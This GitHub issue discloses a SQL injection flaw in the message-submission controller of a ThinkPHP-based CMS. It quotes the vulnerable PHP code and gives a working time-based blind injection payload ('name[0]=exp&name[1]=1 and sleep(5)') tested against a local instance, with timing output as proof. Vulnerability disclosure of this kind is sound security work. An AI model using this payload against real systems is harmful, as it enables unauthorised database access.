

New issue

[Jump to bottom](#)

There is a sql injection vulnerability via index.php?m=home&c=message&a=add #2



Echox1 opened this issue on Jul 15, 2019 · 0 comments

Echox1 commented on Jul 15, 2019

```
1 <?php
2 namespace Home\Controller;
3
4 class MessageController extends HomeController{
5
6     public function add()
7     {
8         var_dump(1);
9         if(IS_POST){
10             $msg=$_POST;
11             $data['name']=$msg['name'];
12             $data['email']=$msg['email'];
13             $data['phone']=$msg['call'];
14             $data['ip'] = get_client_ip();
15             $data['content']=$msg['content'];
16             $data['listorder']='0';
17             $data['date']=date('Y-m-d h:m:s',time());
18
19
20             $message = M("message");
21             $msg_collection-$message->add($data);
22
23             if($msg_collection){
24                 $this->success('留言成功');
25             }else{
26                 $this->error('留言失败，请重试');
27             }
28         }
29     }
30 }
```

use time-based bind injection to prove the vulnerability

Load URL 127.0.0.1/Chengdu/thinkphp-zcms-master/index.php?m=home&c=message&a=add

Split URL

Execute

☒ Enable Post data ☐ Enable Referrer

Post data

name[0]=exp&name[1]=1 and sleep(5)

hp8tudy\PRPTutorial\WWW\Chengdu\thinkphp-zcms-master\Application\Home\Controller\MessageController.class.php:8:int 1



URL	状态	域	大小	远程 IP	时间线
POST index.php?m=home&c=message&a=add	200 OK	127.0.0.1	1.7 KB	127.0.0.1:80	5.35s
GET main.js	200	ff.kis.v2.scr.kaspersky-labs.com	82.5 KB	185.85.13.156:80	4ms
GET websocket?url=http%3A%2F%2F	101	ff.kis.v2.scr.kaspersky-labs.com	0 B	185.85.13.156:80	

3 个请求 84.2 KB 5.81s (online)

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

